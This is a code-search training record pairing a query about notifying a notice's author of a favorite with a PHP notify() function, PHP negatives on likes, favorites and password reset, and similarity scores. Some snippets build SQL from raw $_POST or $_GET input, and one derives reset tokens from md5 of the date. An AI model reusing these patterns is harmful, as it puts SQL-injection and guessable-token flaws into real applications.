else {\r\n echo '0#error';\r\n // Login credentials don't match\r\n }\r\n }\r\n }\r\n else {\r\n // Forgot Password Section\r\n $where = \"user_email='\".$_POST['users_uname'].\"' OR user_uname='\".$_POST['users_uname'].\"'\";\r\n $result = $this->DatabaseModel->access_database('ts_user','select','',$where);\r\n\r\n if (!empty($result)) {\r\n if($result[0]['user_status'] == '2') {\r\n echo \"2#error\"; // InActive\r\n }\r\n elseif($result[0]['user_status'] == '3') {\r\n echo \"3#error\"; // Blocked\r\n }\r\n else\r\n {\r\n $uid = $result[0]['user_id'];\r\n $key = md5(date('Ymdhis').$uid);\r\n $this->DatabaseModel->access_database('ts_user','update',array('user_key'=>$key),array('user_id'=>$uid));\r\n /*\r\n\r\n $headers = \"MIME-Version: 1.0\" . \"\\r\\n\";\r\n $headers .= \"Content-type:text/html;charset=UTF-8\" . \"\\r\\n\";\r\n $headers .= 'From: <[email protected]>' . \"\\r\\n\";\r\n\r\n $msg = '<p>Hi , '.$result[0]['user_uname'].'</p> <p>click on the link below to reset your password <a href=\"'.base_url().'authenticate/reset_password/'.$key.'\">'.base_url().'authenticate/reset_password/'.$key.'</p><br/><br/><p>Thanks, <br/> Team, Themeportal</p>';\r\n\r\n mail($result[0]['user_email'],'Forgot Password',$msg,$headers);\r\n */\r\n\r\n echo $this->ts_functions->sendnotificationemails('forgotpwdemail', $result[0]['user_email'], 'Forgot Password' , $result[0]['user_uname'] , base_url().'authenticate/reset_password/'.$key );\r\n\r\n // Forgot email sent\r\n }\r\n }\r\n else {\r\n echo '5#error';\r\n // Forgot Email does not match\r\n }\r\n }\r\n }\r\n else {\r\n echo '404#error';\r\n // False access\r\n }\r\n\t\t\tdie();\r\n\t}", "public function user_is_allowed()\n {\n //check if the record exist\n if (! $this->record) {\n $this->build_error('These record does not exist or it may not belong to you',404);\n }\n\n //check if the user is the owner of the entry\n if(!isOwner($this->record)) {\n $this->build_error('you are not the owner of this task');\n }\n\n //check if the incomming entries type is Array\n if (!is_array($this->request->entries)) {\n $this->build_error('Please the entries must be an Array');\n }\n }", "public function userDetails(){\n if (Request::isMethod('get'))\n {\n return View::make('admin.authenticated.manage.details');\n }\n \n if (Request::isMethod('post'))\n {\n $found = false;\n if(Session::has('admin_auth')){\n $username = Input::get('username');\n $user = User::where('username','=', $username);\n \n if($user->count()){\n $found = true;\n $user = $user->first();\n $date = date(\"Y-m-d\", strtotime($user->created_at));\n $p_count = Post::where('username','=',$username)->count();\n $c_count = Comment::where('username','=',$username)->count() + Reply::where('username','=',$username)->count();\n \n return Response::json(array(\n 'exist' => $found,\n 'user' => $user,\n 'p_count' => $p_count,\n 'c_count' => $c_count,\n 'date' => $date\n ));\n }else{\n return Response::json(array(\n 'exist' => $found\n ));\n }\n }\n }\n }" ]
[ "0.6381613", "0.6273211", "0.6259585", "0.6199108", "0.61968595", "0.6115856", "0.60372525", "0.6023052", "0.59711343", "0.59683937", "0.5966454", "0.5958669", "0.59365374", "0.5935942", "0.5911764", "0.5906135", "0.5882494", "0.5863582", "0.5851603", "0.58364904", "0.57872856", "0.57780963", "0.5777403", "0.576936", "0.57658607", "0.573828", "0.57305455", "0.573025", "0.5729754", "0.56943583", "0.56897134", "0.5673527", "0.56729645", "0.5671269", "0.5669841", "0.5658308", "0.5652114", "0.5650356", "0.5630797", "0.56161696", "0.56114185", "0.56113815", "0.55944663", "0.55806005", "0.5575936", "0.55737454", "0.55718726", "0.55718726", "0.55718726", "0.5560958", "0.5549682", "0.5544293", "0.5524155", "0.5511945", "0.5507782", "0.54984665", "0.5495047", "0.54816103", "0.54725635", "0.5471648", "0.5470545", "0.5463732", "0.54461807", "0.54428", "0.54386795", "0.543798", "0.5430493", "0.5427471", "0.5426036", "0.5421259", "0.5418377", "0.5414539", "0.5412038", "0.5405444", "0.539334", "0.5390183", "0.5387425", "0.5386463", "0.53863466", "0.5385815", "0.5383369", "0.5379549", "0.5378925", "0.5378547", "0.53780687", "0.5372222", "0.53660953", "0.53631955", "0.534928", "0.53491855", "0.53446317", "0.53445923", "0.53444964", "0.53426814", "0.5338724", "0.5338272", "0.53377354", "0.5336384", "0.53247833", "0.5323481", "0.5322664" ]
0.0
-1
Notify the author of the favorite that the user likes their notice
function notify($fave, $notice, $user) { $other = User::staticGet('id', $notice->user_id); if ($other && $other->id != $user->id) { $otherProfile = $other->getProfile(); if ($otherProfile->email && $otherProfile->emailnotifyfav) { mail_notify_fave($otherProfile, $user->getProfile(), $notice); } // XXX: notify by IM // XXX: notify by SMS } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function bp_activity_action_mark_favorite() {\n\n\tif ( !is_user_logged_in() || !bp_is_activity_component() || !bp_is_current_action( 'favorite' ) )\n\t\treturn false;\n\n\t// Check the nonce\n\tcheck_admin_referer( 'mark_favorite' );\n\n\tif ( bp_activity_add_user_favorite( bp_action_variable( 0 ) ) )\n\t\tbp_core_add_message( __( 'Activity marked as favorite.', 'buddypress' ) );\n\telse\n\t\tbp_core_add_message( __( 'There was an error marking that activity as a favorite, please try again.', 'buddypress' ), 'error' );\n\n\tbp_core_redirect( wp_get_referer() . '#activity-' . bp_action_variable( 0 ) );\n}", "public function favoriteAction()\n\t{\n\t\t$favorite = $this->get('flash.session_notice_manager')->getFavoris();\n\n\t\tif(count($favorite) !== 0 ) {\n\t\t\t$em = $this->getDoctrine()->getRepository('JocondeLabBundle:CoreNotice');\n\t\t\t$notices = $em->findById($favorite);\n\t\t} else {\n\t\t\t$notices = 0;\n\t\t}\n\n\t\treturn $this->render('JocondeLabBundle:Notice:favorite.html.twig', array(\"notices\" => $notices));\n\t}", "public function like() {\n\n $review = Input::get('review');\n $check = $this->likeCheck($review);\n\n if (!$check) {\n if (!$review == \"\") {\n // inserting the review like\n DB::table('review_likes')->insert(\n array(\n 'review_id' => $review,\n 'user_id' => Auth::user()->id\n )\n );\n $user = DB::table('film_review')->where('fr_id', $review)->first();\n // creating a notification\n $noti = new Notification; // notification instance\n $noti->user_id = $user->fr_usr_id; // the user who will get this notification\n $noti->subject_type = 'user'; // user\n $noti->subject_id = Auth::user()->id; // the uset who liked the review\n $noti->object_type = 'review'; // object is review \n $noti->object_id = $review; // id of the review in picture\n $noti->type = 'liked'; // liked - notification type\n $noti->read = '0'; // default '0' as it is unread\n $noti->time = time(); // default '0' as it is unread\n $noti->save(); // saves notification\n\n $mail = $this->newLikeMail($user->fr_usr_id, $user->fr_fl_id, $user);\n }\n }\n }", "function bibdk_favourite_add_favourite_message($form,$form_state){\n $favourites = bibdk_favourite_get_favourites();\n if(empty($favourites)){\n drupal_set_message(bibdk_favourite_remember_favourites_message());\n }\n}", "public function like()\n {\n $like = new Like(['user_id' => auth()->id()]);\n\n $this->likes()->save($like);\n }", "function fanwood_dim_favorite () {\n\t$user_id = bbp_get_current_user_id();\n\t$id = intval( $_POST['id'] );\n\n\tif ( !current_user_can( 'edit_user', $user_id ) )\n\t\tdie( '-1' );\n\n\tif ( !$topic = bbp_get_topic( $id ) )\n\t\tdie( '0' );\n\n\tcheck_ajax_referer( \"toggle-favorite_$topic->ID\" );\n\n\tif ( bbp_is_user_favorite( $user_id, $topic->ID ) ) {\n\t\tif ( bbp_remove_user_favorite( $user_id, $topic->ID ) )\n\t\t\tdie( '1' );\n\t} else {\n\t\tif ( bbp_add_user_favorite( $user_id, $topic->ID ) )\n\t\t\tdie( '1' );\n\t}\n\n\tdie( '0' );\n}", "public function favorite(Post $post)\n {\n if (Groupe::findOrFail($post->groupe_id)->is_member())\n return $post->favorited_users()->toggle(Auth::user());\n \n return response()->json(['message' => 'Not a member'], 200);\n /*if (empty($post->favorited_users()->find(Auth::id()))) {\n $post->favorited_users()->attach(Auth::id());\n return response()->json(['message' => 'Le post a été aimé avec succès'], 200);\n } else {\n DB::table('favorises')->where('compte_id', Auth::id())->where('post_id', $post->id)->delete();\n return response()->json(['message' => 'Le post a été - avec succès'], 200);\n }*/\n }", "public function ajax_favorite() {\n\n\t\t// Bail if favorites are not active\n\t\tif ( ! bbp_is_favorites_active() ) {\n\t\t\tbbp_ajax_response( false, __( 'Favorites are no longer active.', 'bbpress' ), 300 );\n\t\t}\n\n\t\t// Bail if user is not logged in\n\t\tif ( ! is_user_logged_in() ) {\n\t\t\tbbp_ajax_response( false, __( 'Please login to make this topic a favorite.', 'bbpress' ), 301 );\n\t\t}\n\n\t\t// Get user and topic data\n\t\t$user_id = bbp_get_current_user_id();\n\t\t$id = !empty( $_POST['id'] ) ? intval( $_POST['id'] ) : 0;\n\n\t\t// Bail if user cannot add favorites for this user\n\t\tif ( ! current_user_can( 'edit_user', $user_id ) ) {\n\t\t\tbbp_ajax_response( false, __( 'You do not have permission to do this.', 'bbpress' ), 302 );\n\t\t}\n\n\t\t// Get the topic\n\t\t$topic = bbp_get_topic( $id );\n\n\t\t// Bail if topic cannot be found\n\t\tif ( empty( $topic ) ) {\n\t\t\tbbp_ajax_response( false, __( 'The topic could not be found.', 'bbpress' ), 303 );\n\t\t}\n\n\t\t// Bail if user did not take this action\n\t\tif ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'toggle-favorite_' . $topic->ID ) ) {\n\t\t\tbbp_ajax_response( false, __( 'Are you sure you meant to do that?', 'bbpress' ), 304 );\n\t\t}\n\n\t\t// Take action\n\t\t$status = bbp_is_user_favorite( $user_id, $topic->ID ) ? bbp_remove_user_favorite( $user_id, $topic->ID ) : bbp_add_user_favorite( $user_id, $topic->ID );\n\n\t\t// Bail if action failed\n\t\tif ( empty( $status ) ) {\n\t\t\tbbp_ajax_response( false, __( 'The request was unsuccessful. Please try again.', 'bbpress' ), 305 );\n\t\t}\n\n\t\t// Put subscription attributes in convenient array\n\t\t$attrs = array(\n\t\t\t'topic_id' => $topic->ID,\n\t\t\t'user_id' => $user_id\n\t\t);\n\n\t\t// Action succeeded\n\t\tbbp_ajax_response( true, bbp_get_user_favorites_link( $attrs, $user_id, false ), 200 );\n\t}", "function bibdk_favourite_remember_favourites_message() {\n $link = l(t('add_favourites',array(),array('context'=>'bibdk_favourite')), 'vejviser');\n return t('remember_to_add_favourite_libraries',array(),array('context'=>'bibdk_favourite')) . ' ' . $link;\n}", "public function like()\n {\n $this->likes += 1;\n $this->save();\n }", "public function isFavorited(){\n // return ! $this->favorites->where('user_id', auth()->id())->isEmpty();\n\n //so we do: \n //we are casting to boolean \"!!\"\n //if there is a reply, the user favorites the reply\n return !! $this->favorites->where('user_id', auth()->id())->count();\n }", "static function like_post($id_post,$id_liker){\n if(!(($id_user = PDOQueries::get_publisher_id($id_post)) > 0))\n throw new \\PersonalizeException(2001);\n $marker = '{like_post}{id_user/'.$id_liker.'}';\n $link = 'index.php?'.Navigation::$navigation_marker.'='.Timeline::$post_id_page.'#'.$id_post;\n return PDOQueries::add_notification($id_user,$marker,$link);\n }", "public function like($user = null)\n {\n if (null === $user) {\n $user = auth()->user();\n }\n\n $like = $this->likes()->where('user_id', '=', $user->id)->first();\n\n if ($like) {\n return;\n }\n\n $like = $this->likes()->create(['user_id' => $user->id]);\n\n // Send event if it's not our item\n if (! $this->mine()) {\n event(new NotificationEvent($like, $this->user));\n }\n\n $this->increment('likes_count');\n }", "public function favoritePost(Post $post){\n\t Auth::user()->favorites()->attach($post->id);\n\t return back();\n\t}", "function bibdk_favourite_form_user_profile_form_alter(&$form, $form_state){\n $form['#submit'][] = 'bibdk_favourite_add_favourite_message';\n}", "public function an_authenticated_user_can_toggle_favourite_any_reply()\n {\n $post = factory(Post::class)->create();\n $post->comments()->create(factory(Comment::class)->make()->toArray());\n $user = factory(User::class)->create();\n\n $this->actingAs($user);\n\n $this->actingAs($user)->get('/posts/' . $post->id . '/comments/' . $post->comments()->first()->id . '/favourites');\n $this->assertCount(1, $post->comments()->first()->favourites);\n\n $this->actingAs($user)->get('/posts/' . $post->id . '/comments/' . $post->comments()->first()->id . '/favourites');\n $this->assertCount(0, $post->comments()->first()->favourites);\n }", "public function favorite()\n\t{\n\t\t$service = $this->lib->input_post('service');\n\t\t$service = $this->services[$service];\n\n\n\t\t$video_page = $this->lib->input_post('video_page');\n\n\t\t$video_id = $service->get_video_id($video_page);\n\n\n\t\t// check if already a fav\n\n\t\t$already_fav = $service->is_favorite($video_id);\n\n\n\t\tif($already_fav)\n\t\t{\n\t\t\t// remove favorite if it is\n\t\t\t\n\t\t\t$service->remove_favorite($video_id);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// add favorite if it's not\n\n\t\t\t$service->add_favorite($video_id);\n\t\t}\n\t}", "public function addfavoriteAction()\n\t{\n\t\t$request = $this->container->get('request');\n \n\t\tif($request->isXmlHttpRequest())\n\t\t{\n\t\t\t// get id of notice \n\t\t\t$id = $request->query->get('param');\n\t\t\ttry {\n\t\t\t\t$this->get('flash.session_notice_manager')->setFavoris($id);\n\t\t\t\t$result[\"message\"]=\"good\";\n\t\t\t\treturn new JsonResponse($result);\n\t\t\t} catch (\\Exception $e){\n\t\t\t\t$result[\"message\"]=\"bad\";\n\t\t\t\treturn new JsonResponse($result);\n\t\t\t}\n\t\t}\n\t}", "public function actionRequestFavorite() {\n $data = array();\n if(!Yii::$app->user->isGuest && isset($_POST['stuff_id'])) {\n $model = new FavoriteForm();\n $model->user_id = Yii::$app->user->getId();\n $model->stuff_id = $_POST['stuff_id'];\n \n if($model->validate() && $model->requestFavorite()) {\n $this->createNotificationPostThanks($_POST['stuff_id']);\n $data['status'] = 1;\n return json_encode($data);\n }\n } \n\n $data['status'] = 0;\n return json_encode($data);\n }", "public function favorite($id)\n {\n\n $uid = Auth::user()->id;\n $user = \\App\\User::where('id', $uid)->first();\n $recipe = \\App\\Recipe::where('id', $id)->first();\n $hasfavorited = \\App\\User::whereHas('favorites', function($q) use($uid, $id) {\n $q->where ('favorited', '1');\n $q->where ('recipe_id', $id);\n })->exists();\n\n $user->favorites()->attach($recipe->id, ['favorited' => '1']);\n return redirect()->route('recipes.show',$recipe->id)->with('message', 'You succesfully favorited the recipe.');\n}", "public function markBeauticianFavourite(MarkBeauticianFavouriteRequest $request) {\n $beauticianId = $request->input('beauticianId');\n $response = CustomerServiceProvider::markBeauticianFavourite($beauticianId);\n return $this->sendJsonResponse($response);\n }", "public function favoriteAction ()\n {\n /* @var $em \\Doctrine\\ORM\\EntityManager */\n $em = $this->get('doctrine')->getManager();\n \n $user = $this->getUser();\n if(!$user) {\n throw new UnauthorizedHttpException('You must be logged in to comment.');\n }\n \n $request = $this->getRequest();\n $decklist_id = filter_var($request->get('id'), FILTER_SANITIZE_NUMBER_INT);\n \n /* @var $decklist \\Netrunnerdb\\BuilderBundle\\Entity\\Decklist */\n $decklist = $em->getRepository('NetrunnerdbBuilderBundle:Decklist')->find($decklist_id);\n if (! $decklist)\n throw new NotFoundHttpException('Wrong id');\n \n $author = $decklist->getUser();\n \n $dbh = $this->get('doctrine')->getConnection();\n $is_favorite = $dbh->executeQuery(\"SELECT\n\t\t\t\tcount(*)\n\t\t\t\tfrom decklist d\n\t\t\t\tjoin favorite f on f.decklist_id=d.id\n\t\t\t\twhere f.user_id=?\n\t\t\t\tand d.id=?\", array(\n $user->getId(),\n $decklist_id\n ))\n ->fetch(\\PDO::FETCH_NUM)[0];\n \n if ($is_favorite) {\n $decklist->setNbfavorites($decklist->getNbfavorites() - 1);\n $user->removeFavorite($decklist);\n if ($author->getId() != $user->getId())\n $author->setReputation($author->getReputation() - 5);\n } else {\n $decklist->setNbfavorites($decklist->getNbfavorites() + 1);\n $user->addFavorite($decklist);\n $decklist->setTs(new \\DateTime());\n if ($author->getId() != $user->getId())\n $author->setReputation($author->getReputation() + 5);\n }\n $this->get('doctrine')\n ->getManager()\n ->flush();\n \n return new Response(count($decklist->getFavorites()));\n \n }", "public function likes(){\n }", "function is_user_like_fangate(){\n\tglobal $gianism;\n\treturn $gianism->fb->is_user_like_me_on_fangate();\n}", "public function favorite_post(Request $request)\n {\n if($request->has('id'))\n {\n $post = Post::find($request->id);\n $client = auth()->user();\n $post->clients()->toggle($client->id);\n return $this->responsejson(true, 'تم العملية بنجاح');\n }else{\n return $this->responsejson(false, 'الرجاء ادخال post id');\n }\n }", "function favorite_actions()\n {\n }", "function likedByUser($post_id) {\n\n\t$loggedUser = loggedInUserId();\n\t$result = queryDb(\"SELECT * FROM likes WHERE user_id = {$loggedUser} AND post_id = {$post_id}\");\n\tconfirm($result);\n\treturn mysqli_num_rows($result) > 0 ? true : false;\n}", "function like_recipe()\n\t\t\t{\n\t\t\t\t$like=$row[\"likes\"];\n\t\t\t\t//echo \"View :\".$view;\n\t\t\t\t$like++;\n\t\t\t\t//echo \"View :\".$view;\n\n\t\t\t\t$sql = \"UPDATE cuisines SET likes='$like' WHERE id='$ref'\";\n\t\t\t\t\n\t\t\t\tif ($conn->query($sql) === FALSE) {\n\t\t\t\t\techo \"Error updating record: \" . $conn->error;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo \"<script>alert('Liked');</script>\";\n\t\t\t\t}\n\t\t\t}", "function wyz_bus_like_ajax() {\n\t$nonce = filter_input( INPUT_POST, 'nonce' );\n\n\tif ( ! wp_verify_nonce( $nonce, 'wyz_ajax_custom_nonce' ) ) {\n\t\twp_die( 'busted' );\n\t}\n\n\t$_post_id = intval( $_POST['post-id'] );\n\t$_act = $_POST['act'];\n\t$_user_id = get_current_user_id();\n\t\n\tif ( ! $_post_id || ! $_user_id || ! $_act || 0 === $_post_id || '' === $_user_id ) {\n\t\twp_die( false );\n\t}\n\n\t$_likes = get_post_meta( $_post_id, 'wyz_business_post_likes', true );\n\n\tif ( empty( $_likes ) ) {\n\t\t$_likes = array();\n\t}\n\t$likes_count = intval( get_post_meta( $_post_id, 'wyz_business_post_likes_count', true ) );\n\tif ( ! $likes_count ) {\n\t\t$likes_count = 0;\n\t}\n\tif ( $_act == 'like' ) {\n\t\tforeach ( $_likes as $like ) {\n\t\t\tif ( $like == $_user_id ) {\n\t\t\t\twp_die( -1 );\n\t\t\t}\n\t\t}\n\t\tarray_push( $_likes, $_user_id );\t\n\t\t$likes_count++;\n\t\t\n\t} elseif ( $_act == 'dislike' ) {\n\t\t$liked = false;\n\t\tforeach ( $_likes as $like ) {\n\t\t\tif ( $like == $_user_id ) {\n\t\t\t\t$liked = true;\n\t\t\t}\n\t\t}\n\t\tif ( ! $liked )\n\t\t\twp_die(-1);\n\t\t$_likes = array_diff( $_likes, [ $_user_id ] );\n\t\t$likes_count--;\n\t}\n\tupdate_post_meta( $_post_id, 'wyz_business_post_likes', $_likes );\n\tupdate_post_meta( $_post_id, 'wyz_business_post_likes_count', $likes_count );\n\n\twp_die( $likes_count );\n}", "public function toggleFavorite(Request $request, Favorite $favorite)\n {\n $request->validate([\n 'annonceId' => 'required|exists:annonces,id',\n ]);\n\n if (!Auth::check())\n// return response()->json([\"error\" => true, \"message\" => \"Unauthorized\", 'user' => Auth::user()], 401);\n return back()->with([\n 'message' => 'Unauthorized.'\n ]);\n\n $fav = $favorite->where([['annonce_id', $request->annonceId], ['user_id', Auth::id()]])->first();\n if ($fav) {\n $fav->delete();\n return back()->with([\n 'message' => 'Deleted',\n \"fav\" => $fav\n ]);\n } else {\n $favo = new Favorite;\n $favo->user_id = Auth::id();\n $favo->annonce_id = $request->annonceId;\n $favo->save();\n\n return back()->with([\n 'message' => 'Deleted',\n \"fav\" => $favo\n ]);\n }\n }", "public function isFavorite()\n {\n $favorite = Favorite::where('news_id' , $this->id)\n ->where('user_id', Auth::user()->id)\n ->first();\n if (!$favorite) {\n return false;\n }\n return true;\n }", "private function incrementFavoriteCount()\n\t{\n\t\t$counter = $this->favoriteCounter()->first();\n\n\t\tif($counter) {\n\t\t\t$counter->count++;\n\t\t\t$counter->save();\n\t\t} else {\n\t\t\t$counter = new FavoriteCounter;\n\t\t\t$counter->count = 1;\n\t\t\t$this->favoriteCounter()->save($counter);\n\t\t}\n\t}", "public function favorite()\n {\n $mentor = User::leftJoin('review_mentor', 'user_id_mentor', '=', 'users.id')\n ->where('mentor', 'Y')\n ->groupBy('users.id')\n ->select('users.id', 'users.first_name', 'users.last_name', 'users.photo',\n DB::raw(\"SUM(CASE WHEN is_like = 'Y' THEN 1 ELSE 0 END) as islike \"),\n DB::raw(\"SUM(CASE WHEN is_like = 'N' THEN 1 ELSE 0 END) as unlike \")\n )\n ->get();\n return MentorFavorite::collection($mentor);\n }", "public function like()\n {\n self::post(\"/photos/{$this->id}/like\");\n return true;\n }", "public function favourite($id){\n $category = CategoryModel::instantiate()->findOrFail($id);\n $user = auth_user();\n\n // Store that user searched this product\n // If user visited before, increment count\n $userCategory = $category->stats();\n\n if (!$userCategory){\n $userCategory = new UserCategoriesModel([\n 'user_id' => $user->id,\n 'category_id' => $category->id,\n 'followed' => (bool) false,\n 'count' => 0\n ]);\n $userCategory->save();\n }\n $userCategory->followed = !$userCategory->followed;\n $userCategory->update();\n\n $msg = new \\Plasticbrain\\FlashMessages\\FlashMessages();\n if (!$userCategory->followed){\n $msg->success( 'Category removed from favourites categories!' );\n } else {\n $msg->success( 'Category added to favourites categories!' );\n }\n\n return $this->redirectBack();\n\n }", "function articleLike($connection, $user){\n\t$id_article = $_GET['id'];\n\t$title_article =$_GET['article']; \n\t//SELECT THE USER ID\n\t$sql = \"SELECT id_user FROM users WHERE username='$user' LIMIT 1\";\n\t$query = mysqli_query($connection, $sql);\n\t$result = mysqli_fetch_assoc($query);\n\t$user_id = $result['id_user'];\n\t\n\t//Insert the like if the user click on the image\n\tif(isset($_POST['like_button'])){\n\t\t$sql = \"INSERT INTO articles_likes VALUES('', '$id_article', '$user_id')\";\n\t\t$query = mysqli_query($connection, $sql);\t\n\t\theader(\"Location: article.php?article=\".$title_article.\"&id=\".$id_article.\"\");\n\t}\n\t\n\t//CHECK IF THE USER ALREADY LIKED THE ARTICLE\n\tif(isset($_SESSION['username'])){\n\t\t $sql = \"SELECT * FROM articles_likes WHERE articles_id='$id_article' AND user_id='$user_id' LIMIT 1\";\n\t\t $query = mysqli_query($connection, $sql);\n\t\t $num_rows = mysqli_fetch_row($query);\n\t\t if($num_rows[0] > 0){\n\t\t\t echo \"<div class='like_form'>\n\t\t\t\t\t <img src='images/icons/likedButton.png' alt='You already liked this' title='You liked this'/>\n\t\t\t\t </div>\";\t\n\t\t\t \n\t\t }\n\t\t else{\n\t\t \n\t\t ?>\n\t\t\t <div class = \"like_form\">\t\n\t\t\t <form method=\"post\" action=\"article.php?article=<?php echo $title_article; ?>&id=<?php echo $id_article; ?>\">\n\t\t\t\t <input type=\"hidden\" name=\"like_button\" />\n\t\t\t\t <input type=\"image\" src=\"images/icons/likeButton.png\" alt=\"Like\" Title=\"Like this article\" />\n\t\t\t </form>\n\t\t\t </div>\n\t\t <?php\t\t\n\t\t\t\n\t\t }\n\t\t $sql = \"SELECT COUNT(*) FROM articles_likes WHERE articles_id='$id_article'\";\n\t\t $query = mysqli_query($connection, $sql);\n\t\t $row = mysqli_fetch_row($query);\n\t\t if($row[0] == 0){\n\t\t\t $message = \"Be the first to like this\";\n\t\t }\n\t\t else{\n\t\t\t \n\t\t\t $message = $row[0]. \" liked this\";\n\t\t }\n\t}\n\telse{\n\t\t$sql = \"SELECT COUNT(*) FROM articles_likes WHERE articles_id='$id_article'\";\n\t\t$query = mysqli_query($connection, $sql);\n\t\t$row = mysqli_fetch_row($query);\n\t\tif($row[0] == 0){\n\t\t\t$message = \"<div class='like_form'>\n\t\t\t\t\t \t<img src='images/icons/likedButton.png' alt='Login to like this article' title='Login to like this article'/>\n\t\t\t\t \t\t</div>\";\n\t\t\t$message .= \" Login to like this\";\n\t\t}\n\t\telse{\n\t\t\t$message = \"<div class='like_form'>\n\t\t\t\t\t \t<img src='images/icons/likedButton.png' alt='Login to like this article' title='Login to like this article'/>\n\t\t\t\t \t\t</div>\"; \n\t\t\t$message .= $row[0]. \" liked this\";\n\t\t}\n\t\t\n\t}\n\treturn $message;\n}", "function isFavourite($inObject) {\n\t\tif ( $inObject instanceof mofilmEvent ) {\n\t\t\t$inObject = $inObject->getID();\n\t\t}\n\t\tif ( $this->getCount() > 0 ) {\n\t\t\tforeach ( $this as $oObject ) {\n\t\t\t\tif ( $oObject->getID() == $inObject ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public function addToFavorite($account_id, $item_id);", "public function store($id)\n {\n $user = Auth::user();\n if ($user->favorites()->where('post_id',$id)->exists()){\n $user->favorites()->detach($id);\n $count = Post::find($id)->favorites->count();\n $notification = new Notification();\n $notification->user_id = Post::find($id)->user->id;\n $notification->post_id = $id;\n $notification->title = 'Your Posts like By -> '.Auth::user()->name;\n $notification->save();\n return response()->json(['success'=>'Post has been unlike successfully','status'=>'remove','count'=> $count]);\n }else{\n $user->favorites()->attach($id);\n $count = Post::find($id)->favorites->count();\n $notification = new Notification();\n $notification->user_id = Post::find($id)->user->id;\n $notification->post_id = $id;\n $notification->title = 'Your Posts Unlike By -> '.Auth::user()->name;\n $notification->save();\n return response()->json(['success'=>'Post has been like successfully','status'=>'add','count'=> $count]);\n }\n\n }", "public function likes(){\n\t\tif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\t\t\t$postid = $this->input->post(\"postid\");\n\t\t\t$likerid = $this->login->isLoggedIn();\n\t\t\t$selector = 'likes';\n\t\t\t$condition = array('id'=>$postid);\n\t\t\t$numlikes = $this->get->read('posts',$condition,$selector)[0]['likes'];\n\t\t\t$condition = array('post_id'=>$postid,'user_id'=>$likerid);\n\t\t\tif(!$this->get->read('post_likes',$condition)){\n\t\t\t\t$data = array('likes'=>$numlikes+1);\n\t\t\t\t$condition = array('id'=>$postid);\n\t\t\t\t$this->get->update('posts',$data,$condition);\n\t\t\t\t$data = array('id'=>null,'post_id'=>$postid,'user_id'=>$likerid);\n\t\t\t\t$this->get->create('post_likes',$data);\n\t\t\t\t$this->notify->createNotify('',$postid,'2');\n\n\t\t\t\t$selector = 'likes';\n\t\t\t\t$condition = array('id'=>$postid);\n\t\t\t\t$likes = $this->get->read('posts',$condition,$selector)[0]['likes'];\n\t\t\t\techo json_encode(array('likes'=>$likes,'stats'=>'like'));\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$data = array('likes'=>$numlikes-1);\n\t\t\t\t$condition = array('id'=>$postid);\n\t\t\t\t$this->get->update('posts',$data,$condition);\n\t\t\t\t$data = array('post_id'=>$postid,'user_id'=>$likerid);\n\t\t\t\t$this->get->del('post_likes',$data);\n\n\t\t\t\t$selector = 'likes';\n\t\t\t\t$condition = array('id'=>$postid);\n\t\t\t\t$likes = $this->get->read('posts',$condition,$selector)[0]['likes'];\n\t\t\t\techo json_encode(array('likes'=>$likes,'stats'=>'unlike'));\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse{\n\t\t\tredirect('error');\n\t\t}\n\t}", "public function favorite(){\n $attributes = ['user_id' => auth()->id()];\n\n if(! $this->favorites()->where($attributes)->exists()){\n return $this->favorites()->create($attributes);\n }\n }", "private function incrementFavoriteCount()\n {\n $counter = $this->favoriteCounter()->first();\n\n if ($counter) {\n $counter->count++;\n $counter->save();\n } else {\n $counter = new FavoriteCounter;\n $counter->count = 1;\n $this->favoriteCounter()->save($counter);\n }\n }", "public function actionLikedUpdate(){\n\t\t$data = Put::get();\n\t\t$token = F3::get('GET.token');\n\n\t\t$getToken = $this->model_users->getToken($token);\n\n\t\tif (!empty($getToken)):\n\n\t\t\tif (!empty($data['user']) && !empty($data['movie'])):\n\t\t\t\t$this->model_likes->updateLike($data['user'], $data['movie'], $statut = 'delete');\n\t\t\t\tApi::response(200, 'Movies updated liked to unliked');;\n\t\t\telse:\n\t\t\t\tApi::response(204, 'No movies');\n\t\t\tendif;\n\n\t\telseif (empty($token)):\n\t\t\tApi::response(401, 'Hum... you need a token');\n\t\telse:\n\t\t\tApi::response(403, 'Invalid token');\n\t\tendif;\n\t}", "public function update(Message $message)\n {\n $this->authorize(Policy::UPDATE, $message);\n\n dispatch_now(new Favorite($message));\n }", "public function show_favorite_post()\n {\n $client = auth()->user();\n\n\n $post = Client::find($client->id)->posts()->get();\n return $this->responsejson(true, 'تم العملية بنجاح' , $post);\n\n }", "public function show(Favorite $favorite)\n {\n //\n }", "public function event_notice($who, $message)\r\n\t{\r\n\t\r\n\t}", "function ts_save_post_like_func()\r\n{\r\n\tif (!isset($_GET['post_id']) || empty($_GET['post_id']))\r\n\t{\r\n\t\tdie(); //die on wrong get parameter\r\n\t}\r\n\t$post_id = $_GET['post_id'];\r\n\t$likes = intval(get_post_meta($post_id,'theme_like',true));\r\n\t\r\n\t//don't add new like if cookie exists\r\n\tif (isset($_COOKIE['saved_post_like_'.$post_id]) && $_COOKIE['saved_post_like_'.$post_id] == 1)\r\n\t{\r\n\t\techo $likes;\r\n\t\tdie(); \r\n\t}\r\n\t$likes++;\r\n\tsetcookie('saved_post_like_'.$post_id,1,time()+60*60*24*30,'/');\r\n\tupdate_post_meta($post_id, 'theme_like',$likes);\r\n\techo $likes;\r\n\tdie();\r\n}", "public function like()\n\t{\n\t\tFoundry::checkToken();\n\n\t\t// Only registered users are allowed here.\n\t\tFoundry::requireLogin();\n\n\t\t// Check permission\n\t\t$access = Foundry::access();\n\n\t\t$id = JRequest::getInt( 'id', 0 );\n\n\t\t$table = Foundry::table( 'comments' );\n\t\t$table->load( $id );\n\n\t\t$likes = $table->like();\n\n\t\t$view = Foundry::view( 'comments', false );\n\n\t\tif( $likes === false )\n\t\t{\n\t\t\t$view->setMessage( JText::_( 'COM_EASYSOCIAL_COMMENTS_NOT_ABLE_TO_LIKE' ) , 